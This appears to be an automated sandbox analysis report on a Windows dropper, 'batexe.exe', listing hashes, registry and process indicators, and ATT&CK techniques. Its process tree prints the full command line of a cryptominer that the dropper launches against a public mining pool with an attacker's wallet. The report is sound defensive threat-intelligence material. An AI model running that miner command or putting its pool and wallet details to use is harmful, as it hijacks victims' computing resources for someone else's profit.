73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 23:25

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3940	b2e.exe
1508	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1508	cpuminer-sse2.exe
1508	cpuminer-sse2.exe
1508	cpuminer-sse2.exe
1508	cpuminer-sse2.exe
1508	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4128-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 3940	4128	batexe.exe	85
PID 4128 wrote to memory of 3940	4128	batexe.exe	85
PID 4128 wrote to memory of 3940	4128	batexe.exe	85
PID 3940 wrote to memory of 3488	3940	b2e.exe	86
PID 3940 wrote to memory of 3488	3940	b2e.exe	86
PID 3940 wrote to memory of 3488	3940	b2e.exe	86
PID 3488 wrote to memory of 1508	3488	cmd.exe	89
PID 3488 wrote to memory of 1508	3488	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4128
- C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\732C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3488
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe

Filesize
2.6MB

MD5
a5e5df886b731a106be5ffdd55d5eba6

SHA1
49f0ee9c3161b956d8752bd7c4c5351bd2dc0fe6

SHA256
39d92aa54aff7dc78100a84d70011578f98cc2bc56d73853a24a1b39d77c26e7

SHA512
105723e9e49510157b696057447d2278e9bde945c3ab9882a6d364a2406b7080370e05849909f24bcd79f3ea6ec13fa100364d11a150f3b5a708e8762d49817f

Download Submit
C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe

Filesize
6.0MB

MD5
9c18701a5b22a88c6cfcd0f9422ff1a2

SHA1
12d74dfa9c795d025fa0e23143ccff753ec90cec

SHA256
2145498fbec2c6d05d40182c533b71c3c7f44260e3c20d4602b2f89fb01c8169

SHA512
df8265e7cdbf62fde9ad9be266d8f5e07e731c0d5699cf4842c6b03a6bef17ba7b898b56a61ea56c15f3ff02a48efae43d946c8d851af78628b1a555edbad43b

Download Submit
C:\Users\Admin\AppData\Local\Temp\703E.tmp\b2e.exe

Filesize
6.4MB

MD5
2ab498f78b8772030b1ff22f2c8013ab

SHA1
158fdcf5402454d3061f4d16614304dce058a070

SHA256
d33d7dec735982b5dfd3ec9cb10d51048c3c6bb12f3ce1d68c3bafd90aa0eeeb

SHA512
c2cdedf0a9fa0ede1b5472cacbe779230d5257b3969e598d0a766b847086ce3e4cf2bdf287ca8f2ea9859937445663eaae15f0d674e6f4324a09b42ed3e1e417

Download Submit
C:\Users\Admin\AppData\Local\Temp\732C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
9f19911354fca2726b55498a0408ac92

SHA1
14df4703d88aeb612cd3428e8951a56a0e087337

SHA256
4d5c09e8cbd48cf438faa501664648c88eb56ca19f8e7cd420753429c11139db

SHA512
18de03398b333e96948beb6361a86dc678380666c05f9e1717da6267ccd91079e25478fccd592ce2983a6a4da01a7ee88ee2944511badc1b077a7d33ea7fdcfb

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
642c3d6b3a7d0cb500442bb08cd7acc8

SHA1
354a3fe8ee13b2788664c2a0c3253a98762a02ca

SHA256
faf7f4c5ead132eaedd5a5214d2956fe575882e05d95dd7b1ca9534219ef1b77

SHA512
15947ac1f3c24fd1d6446ede8c93514908adcadbd49727181a5c64a9a0cbb3ac9f0a30b6f5a3437da1f1580a3bf325e939d88bcbf09c1a6492fa0ecd758bac0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
002090005ebcd5ab35b373e3340a4767

SHA1
c2678a81f21a50c46a1aa785ce958c32cf635009

SHA256
f81b06755e51c1296b27344ac685ed731c823d3638a190c16e30968d525078f0

SHA512
a03b0ba142addbd5a060b2fa1bb655460313ed25ec70fafdb38232826198bc2ee52d3d4ba95ebef4194560f7e96478c4230a3012c9bdbcb36870dee18ddd8b7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
8a4517cf546abee25a8ded28bbf136ca

SHA1
3e1169b9694520248d3f7c70c9f6e2609430280e

SHA256
10acffaf4a55c23d81b8fa8cf08257aa548306c5d86ccb8422509f3f3e5713fb

SHA512
d21a0204b7e40e7bee2bb45ea6e8a4867e48a9729bd38cbac4e534b0a4c3b68137e2c8d92084f2c5b40f22cd54144d3a80e79fdd5295bc3ff72dc2f19b759d4a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
9ef527175cb8497678f69001109c8b5a

SHA1
2892243b1785f6348c13580fbad38687a5bad5ad

SHA256
a84782df0a21a680fbc56a77cf6d94f1296904a2c52545b98049855d63f0d518

SHA512
7b84a65cf3a54c27b22754364532eca868ede51052c51a034ddc26c4557ab042ff982c2bc5801a1801d1778da391fbc2e3c9ea6dff7a7c27e55a6c20d744aceb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1508-46-0x00000000747F0000-0x0000000074888000-memory.dmp

Filesize
608KB

Download
memory/1508-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1508-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1508-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/1508-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1508-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3940-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3940-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4128-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download